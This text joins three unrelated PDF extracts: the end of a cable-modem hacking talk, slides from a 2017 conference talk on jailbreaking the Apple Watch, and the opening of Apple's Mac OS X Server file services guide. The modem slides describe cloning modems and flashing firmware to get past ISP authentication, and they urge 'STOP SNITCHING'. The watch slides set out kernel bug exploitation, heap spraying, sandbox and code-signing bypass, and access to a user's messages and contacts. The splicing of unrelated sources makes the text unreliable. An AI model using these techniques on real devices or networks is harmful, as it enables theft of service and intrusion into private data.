essentially DOCSIS 2.0 with channel bonding, native IPv6 support, and “enhanced” security and encryption features. • Channel Bonding: – Minimum requirement of 4 bonded channels for both downstream and upstream on modems and CMTS. – Maximum speeds for a modem in 4x4 config are approximately 160mbps downstream and 120 mbps upstream (EuroDOCSIS 3.0 uses 8mhz wide DS channels instead of 6mhz and supports about 200mbps downstream in 4x4 configuration) – The specification does not limit the number of bonded channels so the speed possibilities are endless (for example, current 8x4 offerings support over 320mbps downstream) • Chipsets: – Puma5 chip – 4 DS + 4 US channels, ARMv6 arch, runs on Linux – Bcm3380 – 8 DS + 4 US channels, MIPS arch, runs on eCos 19 DOCSIS 3.0 Modems • puma5: – OS: MontaVista Linux • Motorola SB6120 and SBV6220 • Cisco DPC3000 • Arris WBM760A TM702G • Netgear CMD31T • bcm3380: – OS: eCos • Motorola SBG6580 • Cisco DPC3010 • Thomson DCM475 / TCM470 20 Current ISP DOCSIS 3.0 Offerings • Comcast – Comcast is the leader in widespread D3 deployments. D3 is a direct competitor to FiOS and other FTTx services. – 50/10 residential and 100/10 business packages. Hacked SB6120s easily pull 120mbps downstream and 15mbps upstream. • Charter – 60/5 residential with 100/10 and 75/5 business packages coming soon. • Cablevision/OOL – 101 mbps download • Time Warner/Road Runner – D3 in New York City only, nationwide rollout soon. • Europe – Some European cable companies are already offering 8-channel bonded deployments with downstream speeds in the 150-300 mbps range. 21 22 Packetcable How VOIP got owned. • Cablehack.net – Tom Swingler aka Mastadogg • Arrested in early 2008. • First major FBI bust of a cable modem hacker, received heavy media attention. • Snitched on by Dshocker. • Case was dismissed after 6 months without any official reason. • Mastadogg snitched on MassModz • TCNiSO.net – DerEngel • Arrested October 2009. • Regarded as the “godfather” of cable modem hacking. • Snitched on by Dshocker. • Currently out on bond awaiting trial. 23 United States vs Modem Hackers – Criminal Cases • MassModz.com – Matthew Delorey • Arrested February 2010. • Blatantly advertised pre-configured modems to steal service from Comcast. • Raided after being snitched on by Mastadogg. • Expected to plead guilty • Various Small Busts – Mostly located in South Florida where theft of service is rampant. • All of the current arrests have involved theft of service. Using modems for diagnostic purposes is still completely legal. Another key factor in the majority of arrests has been snitches. 24 United States vs Modem Hackers – Criminal Cases • And now a brief message from Stephen Watt (Unix Terrorist) 25 STOP SNITCHING • Haxorware and sbh alpha (unnamed) – Still the leading firmware, will most likely continue to be for quite some time. – Community of over 66,000 users at SBhacker.net • Haxomatic – Hardware and software to flash newer modems • Misc tools by Rajkosto at http://haxorware.com/6120stuff.html • Usbjtag.exe by usbjtag • Tom’s jtag utility 26 New Tools and Firmware • With the extremely high bandwidth of D3 modems, there is a big concern about users being targetted for the purpose of botnets. – Previous upstream was 256kbps to 2mbps – D3 average is 5-10mbps and increasing constantly • With the previous modem busts, there is a possibility that law enforcement will continue to crack down on modem hackers. 27 The Future 28 Perspectives: Role Playing •Customers -Protect and respect our privacy -Provide us with quality but NOT limited service -Stop charging more when you’ve failed… •Hackers -You might expect this -We demand anonymous internet access (why not?) -You make it so easy, it seems like it’s on purpose -Not my fault the network is not configured properly -…You WILL still have a problem •ISPs -We should probably just lie -Let’s cut corners to save money -Unlimited user bandwidth bad (Customer monthly throughput < Profit) -You can’t do that on the Internets! -Your information is being sold to the highest bidder Problems & Some solutions BPI+ • Crack 56bit DES or X.509 v3 RSA? (time, money and more time) • Corporate espionage • Self signed certificates • Reverse current bpimanager & built in self signing functions Cloning Detection • Exact/Perfect clones can usually bypass this • Network access can be gained on the majority of ISP as long as authentication is passed, cloning isn’t exactly necessary • If you still can’t force a config to get network access, firmware modification is usually the answer. The situation for ISPs preventing unauthorized access still looks very bleak for several reasons 29 • Anonymous / Fast Internet on DOCSIS networks • Equipment used • Cloning and Perfect Clones • How to stay anonymous • Firmware flavors & features • Why it’s possible • Hardware & Security • BPI+ • Development & reversing is kind of easy • Security changes can be defeated • Future plans are just as insecure Remember this stuff 30 • Anonymous network technicians that answered questions about OSS. • Thanks to DerEngel of TCNiSO for essentially starting mainstream cable modem hacking. • rajkosto, devDelay, Bad_Ad84, |DTOX|, Scanman1, bmhoff, spender, sn4ggl3, pirrup, cisc0ninja, the_ut • Anonymous cable modem hackers who share their stories with enough information to verify. • Manufacturers for creating such insecure hardware and software. • SBhacker.net • Soldierx.com 31 Thanks Q/A • Questions? 32
pdf
July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Max Bazaliy Jailbreaking Apple Watch July 27-30, 2017 whoami 1 2 3 4 5 6 7 8 9 10 11 12 o  Security researcher at Lookout o  Lead researcher on Pegasus exploit chain o  Focused on advanced exploitation techniques o  Fried Apple team co-founder o  iOS/tvOS/WatchOS jailbreak author July 27-30, 2017 o  Released in 2015% o  Apple S1/S2%processor o  ARMv7k 32 bit architecture o  Taptic engine o  512 MB RAM o  WatchOS 1 2 3 4 5 6 7 8 9 10 11 12 What is Apple Watch ? July 27-30, 2017 o  Access to file system o  Run tools like radare or frida on a watch o  iPhone attack vector 1 2 3 4 5 6 7 8 9 10 11 12 Why to jailbreak a watch ? July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Apple Watch security o  Secure boot chain o  Mandatory Code Signing o  Sandbox o  Exploit Mitigations o  Secure Enclave Processor (2-nd gen only) o  Data Protection July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Possible attack vectors o  Malformed USB descriptor over debug port Debug port July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Possible attack vectors o  Malformed email, message, photo, etc Still limited by sandbox o  Application extension based More freedom on bug choice July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Jailbreak step by step o  Leak kernel base o  Dump whole kernel o  Find gadgets and setup primitives o  Disable security restrictions o  Run ssh client on a watch July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Bugs of interest o  WatchOS 2.x% - CVE-2016-4656%- osunserialize bug - CVE-2016-4669%- mach_port register bug o  WatchOS 3.1.3% - CVE-2016-7644%- set_dp_control_port bug - CVE-2017-2370%- voucher extract recipe bug July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Leaking kernel base o  CVE-2016-4655%and CVE-2016-4680% o  Object constructor missing bounds checking o  OSNumber object with high number of bits o  Object length used to copy value from stack o  Kernel stack memory leaked o  Can be triggered from an app’s sandbox July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 OSObject * OSUnserializeBinary(const char *buffer, size_t bufferSize, OSString **errorString) { uint32_t key, len, wordLen; len = (key & kOSSerializeDataMask); ... case kOSSerializeNumber: bufferPos += sizeof(long long); if (bufferPos > bufferSize) break; value = next[1]; value <<= 32; value |= next[0]; o = OSNumber::withNumber(value, len); next += 2; break; No number length check July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 bool OSNumber::init(unsigned long long inValue, unsigned int newNumberOfBits) { if (!super::init()) return false; size = newNumberOfBits; value = (inValue & sizeMask); return true; } unsigned int OSNumber::numberOfBytes() const { return (size + 7) / 8; } No number length check Return value is under control July 27-30, 2017 kern_return_t is_io_registry_entry_get_property_bytes( io_object_t registry_entry, io_name_t property_name, io_struct_inband_t buf, … ) { ... UInt64 offsetBytes; // stack based buffer ... } else if( (off = OSDynamicCast( OSNumber, obj ))) { offsetBytes = off->unsigned64BitValue(); len = off->numberOfBytes(); bytes = &offsetBytes; ... if (bytes) { if( *dataCnt < len) ret = kIOReturnIPCError; else { *dataCnt = len; bcopy( bytes, buf, len ); // copy from stack based buffer Will be returned to userland We control this value Points to stack based buffer 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 CVE-2016-4656%exploitation o  Kernel mode UAF in OSUnserializeBinary o  OSString object deallocated o  retain() called on deallocated object o  Fake object with fake vtable –> code exec 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 OSObject * OSUnserializeBinary(const char *buffer, size_t bufferSize, …) { newCollect = isRef = false; ... case kOSSerializeDictionary: o = newDict = OSDictionary::withCapacity(len); newCollect = (len != 0); break; ... if (!isRef) { setAtIndex(objs, objsIdx, o); if (!ok) break; objsIdx++; } Save object to objs array 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 if (dict) { if (sym) … else { sym = OSDynamicCast(OSSymbol, o); if (!sym && (str = OSDynamicCast(OSString, o))) { sym = (OSSymbol *) OSSymbol::withString(str); o->release(); o = 0; } ok = (sym != 0); } } case kOSSerializeObject: if (len >= objsIdx) break; o = objsArray[len]; o->retain(); isRef = true; break; Object saved to objs array destroyed Deallocated object retained 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 o  Problem: No WatchOS kernel dumps o  No keys for WatchOS kernels o  Idea: read kernel as OSString chunks o  vtable offset required to fake OSString o  vtable stored in __DATA.__const in kernel Dumping kernel 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 Getting vtable - __DATA.__const leak o  __DATA.__const address is in Mach-O header o  Kernel base + 0x224 == __DATA.__const o  Deref and branch to address via fake vtable 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 Getting vtable - known offset o  Get vtable offset from similar XNU build o  Known delta from __DATA.__const start o  Tune address with +/- delta 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 Getting vtable - known offset o  Get vtable offset from similar XNU build o  Known delta from __DATA.__const start o  Tune address with +/- delta 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 Getting vtable – OSString layout …$ OSObject::retain()$ …$ vtable$ptr$+$0x8$ retain$count$ flags$ length$ string$ptr$ vtable$ptr$+$0x8$ retain$count$ flags$ length$ string$ptr$ OSObject::retain()$ 0x0$ 0x4$ 0x8$ 0xC$ 0x10$ 0x0$ 0x8$ 0x10$ 0x18$ 0x0$ 0x4$ 0x8$ 0xC$ 0x10$ 0x0$ 0x8$ 0x10$ 0x18$ 0x20$ OSString 32 bit OSString 64 bit 13 14 15 16 17 18 19 20 21 22 23 24 size == 0x14% size == 0x20% …$ …$ 0x20$ 0x14$ …$ …$ …$ …$ 0x28$ 0x14$ July 27-30, 2017 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 OSString layout OSString vtable pointer OSObject::retain() offset 0x20% 13 14 15 16 17 18 19 20 21 22 23 24 OSString object OSString object vtable Kernel code section …$ …$ July 27-30, 2017 o  vtable ptr is first 4/8%bytes of a on object o  What if object is not reallocated ? o  Memory marked as free o  New node pointing to next node in freelist Getting vtable – next free node trick 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Heap zone freelist Next node pointer Freelist head 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 o  OSString memory marked as free o  Now it’s a node pointing to next node o  Next node ptr will be interpreted as vtable o  Call to retain() will branch out of node bounds o  What if OSString size == retain() offset ? o  We can branch out to the start of next node Getting vtable – next free node trick 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Next node ptr as a vtable ptr Interpreted as OSString Interpreted as OSString vtable pointer Interpreted as retain() 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 o  Heap spray OSString objects o  Free few OSString’s o  Next free chunk pointer dereferenced as vtable o  Free chunk is surrounded by OSStrings o  retain() ->%OOB branch to next OSString Getting vtable – next free node trick 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Heap spray and OOB branch to vtable 25 26 27 28 29 30 31 32 33 34 35 36 Used memory chunks July 27-30, 2017 Heap spray and OOB branch to vtable 25 26 27 28 29 30 31 32 33 34 35 36 Allocated OSString objects Used memory chunks July 27-30, 2017 Heap spray and OOB branch to vtable Allocated OSString objects Used memory chunks 25 26 27 28 29 30 31 32 33 34 35 36 Deallocated OSString objects July 27-30, 2017 Heap spray and OOB branch to vtable Allocated OSString objects Used memory chunks 25 26 27 28 29 30 31 32 33 34 35 36 Deallocated OSString objects Out of bounds branch to next OSString vtable July 27-30, 2017 o  Heap spray OSString objects o  Make few OSDictionary with OSString o  Trigger OSDictionary deallocation o  retain() -> deref next free chunk pointer o  Free chunk is surrounded by OSStrings o  retain() ->%OOB branch to next OSString node Getting vtable – next free node trick 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Getting vtable – dump over panic o  OSString vtable reference in OSUnserializeBinary! o  OSUnserializeBinary reference in OSUnserializeXML 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Getting vtable – dump over panic o  Crash in OSUnserializeBinaryXML o  Copy panic log from a watch o  Get LR register value from panic o  We got OSUnserializeBinaryXML address 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Dumping kernel by panic logs o  retain() offset in vtable is 0x10 o  Use address to leak as vtable_addr - 0x10 o  vtable will be interpreted and branch to address o  Kernel will crash, but save panic log o  Address content appear in panic registers state 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Dumping kernel by 4 bytes o  Use address to leak as fake vtable address% o  Watch will crash, wait until it restore o  ssh to a iPhone and run synchronization service o  Copy panic from Watch to iPhone and to Mac o  Parse panic, read 4 bytes and disassemble ! o  Update address with 4 bytes delta and upload app o  Repeat 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 It’s fun ! 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 OSString vtable in kernel OSString vtable offset OSUnserializeBinary address 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Getting vtable – final steps o  Crash in OSUnserializeXML o  Dump 4 bytes, disassemble, read opcode o  Leak opcode until ‘BL OSUnserializeBinary’ o  Leak OSUnserializeBinary opcodes o  Finally leak OSString vtable offset 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Getting vtable – results o  5 minutes for recover watch after crash o  5 minutes to fetch panic from watch o  2 minutes to copy to Mac and parse o  No way to automate a process o  It takes me just 2 weeks to dump a vtable 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Next step – full kernel dump o  Now use fake OSString obj to read kernel o  Read data via IORegistryEntryGetProperty o  Leak kernel header, calculate kernel size o  Dump full kernel to userland by chunks 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Next step – kernel symbolication o  Find and list all kexts o  Find sysent and resolve syscalls o  Find and resolve mach traps o  Resolve IOKit objects vtable 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Next step – setting up primitives o  Scan kernel dump for gadgets o  Set up exec primitive o  Set up kernel read & write primitives STR%%%%%%%%%%%%R1,%[R2]% BX%%%%%%%%%%%%%%LR% LDR% %%%%%%%%%%R1,%[R2]% BX%%%%%%%%%%%%%%LR% 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Next step – kernel structs layout o  Look for proc_* functions o  Restore proc structure layout o  Dump memory, check for known values 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Next step – patchfinder o  memmem string \ byte pattern o  + xref + instruction analysis o  Resolve syscalls table, mach traps table o  Simple instruction emulation 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Next step – kernel structs layout o  memmem string \ byte pattern o  + xref + instruction analysis o  Resolve syscalls table, mach traps table o  Simple instruction emulation 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Getting root and sandbox bypass o  Patch setreuid (no KPP) o  patch ucred in proc structure in kernel o  patch sandbox label value in ucred 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Getting kernel task o  Patch task_for_pid() o  Or save kernel sself in task bootstrap port o  Read it back via task_get_special_port() o  Restore original bootstrap port value 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Disable codesign checks o  Patch _debug to 1 o  patch _nl_symbol_ptr (got) entries o  Patch amfi variables - cs_enforcement_disable - allow_invalid_signatures 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Remount rootfs o  Patch __mac_mount o  Change flags in rootfs vnode and mount RW o  Patch lwvm is_write_protected check o  Patch PE_i_can_has_debugger in lwvm 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Spawning ssh client o  Compile dropbear for ARMv7k% o  Compile basic tools package for ARMv7k o  Problem: More sandbox restrictions o  Remove WatchOS specific sandbox ops 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 ssh connection problem… "awdl0/ipv6"%=%"fe80::c837:8аff:fe60:90c2";% "lo0/ipv4”%%%%%%=%"127.0.0.1";% "lo0/ipv6"%%%%%%=%"fe80::1";% "utun0/ipv6"%=%"fe80::face:5e30:271e:3cd3";% o  WatchOS interfaces 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Watch <-> iPhone port forwarding NSDictionary *comm = @{! @"Command" :@"StartForwardingServicePort", @"ForwardedServiceName" :@"com.apple.syslog_relay",! @"GizmoRemotePortNumber" :[NSNumber numberWithUnsignedShort: pt],! @"IsServiceLowPriority" :@0,};! ! AMDServiceConnectionSendMessage(serviceConnection,! (__bridge CFPropertyListRef)(comm), kCFPropertyListXMLFormat_v1_0);! ! AMDServiceConnectionReceiveMessage(serviceConnection, &response, (CFPropertyListFormat*)&format);! ! NSNumber *iphone_port = response[@"CompanionProxyServicePort"];! Thanks to Luca Todesco 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 ssh connection over bluetooth 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Black Hat Sound Bytes 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Apple Watch usage o  Watch has access to SMS, Calls, Health% o  Photos and emails synced to Watch o  Fetch GPS location from the phone o  Microphone usage o  Apple Pay 61 62 63 64 65 66 67 68 69 70 71 72 July 27-30, 2017 61 62 63 64 65 66 67 68 69 70 71 72 July 27-30, 2017 Interesting findings o  Full access to jailbroken watch file system o  Including sqlite3 databases - Messages - Call history - Contacts - Emails 61 62 63 64 65 66 67 68 69 70 71 72 July 27-30, 2017 What's next ? o  Interpose or trampoline system functions o  Catch data on sync with a iPhone o  Create tweaks for a watch o  Run frida and radare 61 62 63 64 65 66 67 68 69 70 71 72 July 27-30, 2017 Takeaways o  WatchOS security is equal to iOS o  But new techniques required o  Easier data forensics on a Watch 61 62 63 64 65 66 67 68 69 70 71 72 July 27-30, 2017 References o  Lookout - Technical Analysis of the Pegasus Exploits on iOS o  Luca Todesco - com.apple.companion_proxy client o  Siguza - tfp0 powered by Pegasus o  Stefan Esser - iOS 10 - Kernel Heap Revisited 61 62 63 64 65 66 67 68 69 70 71 72 July 27-30, 2017 @mbazaliy 61 62 63 64 65 66 67 68 69 70 71 72
pdf
Mac OS X Server File Services Administration For Version 10.3 or Later 034-2346_Cvr 9/12/03 10:24 AM Page 1  Apple Computer, Inc. © 2003 Apple Computer, Inc. All rights reserved. The owner or authorized user of a valid copy of Mac OS X Server software may reproduce this publication for the purpose of learning to use such software. No part of this publication may be reproduced or transmitted for commercial purposes, such as selling copies of this publication or for providing paid-for support services. The Apple logo is a trademark of Apple Computer, Inc., registered in the U.S. and other countries. Use of the “keyboard” Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. Apple, the Apple logo, AppleScript, AppleShare, AppleTalk, ColorSync, FireWire, Keychain, Mac, Macintosh, Power Macintosh, QuickTime, Sherlock, and WebObjects are trademarks of Apple Computer, Inc., registered in the U.S. and other countries. AirPort, Extensions Manager, Finder, iMac, and Power Mac are trademarks of Apple Computer, Inc. Adobe and PostScript are trademarks of Adobe Systems Incorporated. Java and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries. ©1995–2001 The Apache Group. All rights reserved. UNIX is a registered trademark in the United States and other countries, licensed exclusively through X/Open Company, Ltd. 034-2346/09-20-03 LL2346.Book Page 2 Friday, August 22, 2003 2:38 PM 3 1 Contents Chapter 1 9 About File Services 9 Overview 10 Privileges 11 Explicit Privileges 11 The User Categories Owner, Group, and Everyone 12 Hierarchy of Privileges 12 Client Users and Privileges 12 Privileges in the Mac OS X Environment 13 Customizing the Mac OS X Network Globe 13 Share Points in the Network Globe 13 Adding System Resources to the Network Library Folder 14 Security Considerations 14 Restricting Access for Unregistered Users (Guests) 15 For More Information About File Services Chapter 2 17 Setting Up Share Points 17 Overview 17 Before You Begin 17 Consider the Privileges Your Clients Need 18 Decide on Which Protocols to Use 18 Organize Your Shared Information 18 For Your Windows Users 19 Consider Security 19 Share Points for Network Home Directories 19 Disk Quotas 20 Setup Overview 21 Setting Up a Share Point 22 Creating a Share Point and Setting Privileges 23 Changing Apple File Settings for a Share Point 24 Changing Windows (SMB) Settings for a Share Point 25 Changing FTP Settings for a Share Point 26 Setting Up an NFS Share Point 27 Resharing NFS Mounts as AFP Share Points LL2346.Book Page 3 Friday, August 22, 2003 2:38 PM 4 Contents 29 Automatically Mounting Share Points for Clients 30 Managing Share Points 30 Disabling a Share Point 30 Disabling a Protocol for a Share Point 31 Viewing Share Points 31 Copying Privileges to Enclosed Items 31 Viewing Share Point Settings 32 Changing Share Point Owner and Privilege Settings 32 Changing the Protocols Used by a Share Point 33 Changing NFS Share Point Client Scope 33 Allowing Guest Access to a Share Point 34 Setting Up a Drop Box 35 Using Workgroup Manager With Mac OS X Server Version 10.1.5 Chapter 3 37 AFP Service 37 General Information 37 Kerberos Authentication 38 Automatic Reconnect 38 Find By Content 38 AppleTalk Support 38 Apple File Service Specifications 39 Setting Up AFP Service 40 Changing General Settings 41 Changing Access Settings 42 Changing Logging Settings 43 Changing Idle User Settings 44 Starting AFP Service 44 Managing AFP Service 44 Checking Service Status 45 Viewing Service Logs 45 Stopping Apple File Service 46 Enabling NSL and Rendezvous Browsing 46 Enabling AppleTalk Browsing 47 Limiting Connections 47 Keeping an Access Log 48 Archiving AFP Service Logs 48 Disconnecting a User 49 Disconnecting Idle Users Automatically 49 Sending a Message to a User 50 Allowing Guest Access 50 Creating a Login Greeting 51 Supporting AFP Clients 51 Mac OS X Clients LL2346.Book Page 4 Friday, August 22, 2003 2:38 PM Contents 5 53 Mac OS 8 and Mac OS 9 Clients Chapter 4 55 Windows Service 55 General Information 55 Windows File Services Specifications 56 Before You Set Up Windows Services 56 Ensuring the Best Cross-Platform Experience 56 Windows User Password Validation 57 Setting Up Windows Services 58 Changing General Settings 59 Changing Access Settings 59 Changing Logging Settings 60 Changing Advanced Settings 61 Starting Windows Service 61 Managing Windows Services 61 Stopping Windows Services 62 Changing the Windows Server Name 62 Changing the Workgroup 63 Checking Service Status 63 Registering with a WINS Server 64 Enabling Domain Browsing 64 Limiting Connections 65 Allowing Guest Access 65 Choosing What to Record in the Log 66 Disconnecting a User 66 Supporting Windows Clients 66 TCP/IP 67 Connecting to the Server Using Network Neighborhood 67 Connecting to the Server by Name or Address in Windows Chapter 5 69 NFS Service 69 Overview 70 Before You Set Up NFS Service 70 Security Considerations 71 Setup Overview 72 Setting Up NFS Service 72 Configuring NFS Settings 73 Managing NFS Service 73 Starting and Stopping NFS Service 73 Viewing NFS Service Status 74 Viewing Current NFS Exports LL2346.Book Page 5 Friday, August 22, 2003 2:38 PM 6 Contents Chapter 6 75 FTP Service 75 Overview 75 A Secure FTP Environment 76 FTP Users 76 FTP User Environments 80 On-the-Fly File Conversion 80 Kerberos Authentication 80 FTP service specifications 81 Before You Set Up FTP Service 81 Server Security and Anonymous Users 82 Setup Overview 83 Setting Up File Transfer Protocol (FTP) Service 83 Changing General Settings 84 Changing the Greeting Messages 84 Choosing Logging Options 85 Changing Advanced Settings 85 Creating an Uploads Folder for Anonymous Users 86 Starting FTP Service 86 Managing FTP Service 86 Stopping FTP Service 87 Allowing Anonymous User Access 87 Changing the User Environment 88 Changing the FTP Root Directory 88 Viewing the Log 89 Displaying Banner and Welcome Messages 89 Displaying Messages Using message.txt Files 89 Using README Messages Chapter 7 91 Solving Problems 91 General Problems 91 Users Can’t Access a CD-ROM Disc 91 Users Can’t Find a Shared Item 91 Users Can’t See the Contents of a Share Point 91 You Can’t Find a Volume or Directory to Use as a Share Point 92 Solving Problems With Apple File Service 92 User Can’t Find the Apple File Server 92 User Can’t Connect to the Apple File Server 92 User Doesn’t See Login Greeting 93 Solving Problems With Windows Services 93 User Can’t See the Windows Server in the Network Neighborhood 93 User Can’t Log in to the Windows Server 94 Solving Problems With File Transfer Protocol (FTP) 94 FTP Connections Are Refused LL2346.Book Page 6 Friday, August 22, 2003 2:38 PM Contents 7 94 Clients Can’t Connect to the FTP Server 94 Anonymous FTP Users Can’t Connect 95 Solving Problems With Home Directories 95 Users Can’t Open Their Home Directories Glossary 97 Index 99 LL2346.Book Page 7 Friday, August 22, 2003 2:38 PM LL2346.Book Page 8 Friday, August 22, 2003 2:38 PM 1 9 1 About File Services This chapter gives an overview of Mac OS X Server file services, important concepts, and related security issues. Overview File services let clients of the Mac OS X Server access shared files, applications, and other resources over a network. Mac OS X Server includes file services based on four common protocols: • AFP service uses the Apple Filing Protocol (AFP) to share resources with clients who use Macintosh or Macintosh-compatible computers. • Windows service uses the Server Message Block (SMB) protocol to share resources with and provide name resolution for clients who use Windows or Windows- compatible computers. • FTP service uses the File Transfer Protocol to share files with anyone using FTP client software. • NFS service uses the Network File System to share files and folders with users (typically UNIX users) who have NFS client software. You can use the following Mac OS X Server applications to set up and manage file services: • Server Admin Use to turn on and configure individual file services for each protocol • Workgroup Manager Use to create share points and set access privileges You can also perform most setup and management tasks by typing commands at a command prompt in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 9 Friday, August 22, 2003 2:38 PM 10 Chapter 1 About File Services Privileges Privileges specify the type of access users have to shared items. There are four types of access privileges you can assign to a share point, folder, or file: Read & Write, Read Only, Write Only, and None. The table below shows how the privileges affect user access to different types of shared items (files, folders, and share points). You can assign everyone but its owner Write Only privileges to a folder to create a drop box. The folder’s owner can see and modify the drop box’s contents. Everyone else can only copy files and folders into the drop box, without seeing what it contains. Note: QuickTime Streaming Server and WebDAV have separate privileges settings. For information about QTSS, refer to the QTSS online help and the QuickTime website (www.apple.com/quicktime/products/qtss/). You’ll find information about Web privileges in the Web technologies administration guide. Users can Read & Write Read Only Write Only None Open a shared file Yes Yes No No Copy a shared file Yes Yes No No Open a shared folder or share point Yes Yes No No Copy a shared folder or share point Yes Yes No No Edit a shared file’s contents Yes No No No Move items into a shared folder or share point Yes No Yes No Move items out of a shared folder or share point Yes No No No LL2346.Book Page 10 Friday, August 22, 2003 2:38 PM Chapter 1 About File Services 11 Explicit Privileges Share points and the shared items they contain (including both folders and files) have separate privileges. If you move an item to a different folder, it retains its own privileges and doesn’t automatically adopt the privileges of the folder where you moved it. In the following illustration, the second folder (Designs) and the third folder (Documents) were assigned privileges that are different from those of their parent folders: You can also set up an AFP or SMB share point so that new files and folders inherit the privileges of their parent folder. See “Changing Apple File Settings for a Share Point” on page 23 or “Changing Windows (SMB) Settings for a Share Point” on page 24. The User Categories Owner, Group, and Everyone You can assign access privileges separately to three categories of users: Owner A user who creates a new item (file or folder) on the file server is its owner and automatically has Read & Write privileges for that folder. By default, the owner of an item and the server administrator are the only users who can change its access privileges, that is, allow a group or everyone to use the item. The administrator can also transfer ownership of the shared item to another user. Note: When you copy an item to a drop box on an Apple file server, ownership of that item is transferred to the owner of the drop box. This is done because only the owner of the drop box has access to items copied to it. Group You can put users who need the same access to files and folders into group accounts. Only one group can be assigned access privileges to a shared item. For more information on creating groups, see the user management guide. Everyone Everyone is any user who can log in to the file server: registered users and guests. Engineering Read & Write Designs Documents Read Only Read & Write LL2346.Book Page 11 Friday, August 22, 2003 2:38 PM 12 Chapter 1 About File Services Hierarchy of Privileges If a user is included in more than one category of users, each of which has different privileges, these rules apply: • Group privileges override Everyone privileges. • Owner privileges override Group privileges. For example, when a user is both the owner of a shared item and a member of the group assigned to it, the user has the privileges assigned to the owner. Client Users and Privileges Users of AppleShare Client software can set access privileges for files and folders they own. Windows file sharing users can set folder properties, but not privileges. Privileges in the Mac OS X Environment If you’re new to Mac OS X and are not familiar with UNIX, it’s important to know that there are some differences in the way ownership and privileges are handled compared to Mac OS 9. To increase security and reliability, Mac OS X sets many system directories, such as /Library, to be owned by the root user (literally, a user named “root”). Files and folders owned by root can’t be changed or deleted by you unless you’re logged in as the root user. Be careful—there are few restrictions on what you can do when you log in as the root, and changing system data can cause problems. Files and folders are, by default, owned by the user who creates them. After they’re created, items keep their privileges even when moved, unless the privileges are explicitly changed by their owners or an administrator. Therefore, new files and folders you create are not accessible by client users if they are created in a folder for which the users do not have privileges. When setting up share points, make sure that items allow appropriate access privileges for the users with whom you want to share them. LL2346.Book Page 12 Friday, August 22, 2003 2:38 PM Chapter 1 About File Services 13 Customizing the Mac OS X Network Globe The Network globe you find at the top level of a Mac OS X Finder window contains shared network resources. You can customize the contents of the Network globe to suit your clients by setting up automatically-mounting share points. You can provide automatic access to system resources such as fonts and preferences by automatically mounting share points containing them in specific directory locations. Share Points in the Network Globe The Network globe on OS X clients represents the /Network directory. By default, the Network globe contains at least these folders: • Applications • Library • Servers You can mount share points into any of these folders. See “Automatically Mounting Share Points for Clients” on page 29 for instructions. Additional servers and shared items are added as they are discovered on your network. Adding System Resources to the Network Library Folder The Library folder in the Network globe is included in the system search path. This gives you the ability to make available, over the network, any type of system resource usually found in the local Library folder. These resources could include fonts, application preferences, ColorSync profiles, desktop pictures, and so forth. You can use this capability to customize your managed client environment. For example, suppose you wish to have a specific set of fonts available to each user in a given Open Directory domain. You would create a share point containing the desired fonts and then set the share point to mount automatically as a shared library in /Network/Library/Fonts on client machines. See “Automatically Mounting Share Points for Clients” on page 29 for more information. LL2346.Book Page 13 